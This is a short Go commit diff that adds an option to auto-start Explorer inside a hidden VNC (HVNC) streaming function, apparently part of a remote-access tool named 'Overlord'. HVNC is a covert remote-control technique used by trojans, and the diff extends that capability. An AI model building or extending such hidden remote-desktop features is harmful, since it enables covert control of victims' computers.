add auto start explorer
This commit is contained in:
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
go func() {
|
||||
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
|
||||
Reference in New Issue
Block a user